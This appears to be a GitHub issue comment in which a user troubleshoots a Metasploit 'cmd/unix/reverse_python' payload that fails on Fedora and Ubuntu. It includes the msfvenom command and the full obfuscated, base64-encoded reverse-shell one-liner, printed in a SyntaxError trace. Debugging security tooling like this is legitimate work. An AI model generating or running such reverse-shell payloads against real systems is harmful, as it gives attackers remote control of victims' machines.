You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
Yes, you're right: I though payload had the shebang inside but it hasn't.
Anyway, in Ubuntu by default there's no "python" executable but the "python3" executable, so your solution doesn't work either, Making the needed link between them, however, doesn't work neither because I get another strange error about strings handling (maybe payload is in Python2???).
What is clear is this payload needs a lot more care.
For instance, doing this in Fedora 40 (msfvenom -p cmd/unix/reverse_python -f raw -o jejeje) I get this when I run python jejeje:
File "/home/q2dg/jejeje", line 1
python -c "exec(import('zlib').decompress(import('base64').b64decode(import('codecs').getencoder('utf-8')('eNrLzC3ILypRKM5Pzk4tUQABHSAuLk0qKMpPTi0uhgvlQ5gKCtYQKiO/uMRWydDSSM/QzELPEEiaK6GqABlsawIEqMLFthDL9CCUBpTn6Bbv6ecagnACRDjY39k7PjgkyNXRVxPNHL3k/Ly81OQSDQ2QW+AaQdZqoqnNL9ZLKS0w0ijWS8vMSc3L19CEKzcgXqkh8UqN0JQW2CKCVC85MSdHQ0k/KTNPvzhDSRMAuPpfLA==')[0])))"
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
SyntaxError: invalid syntax
Thanks
The text was updated successfully, but these errors were encountered: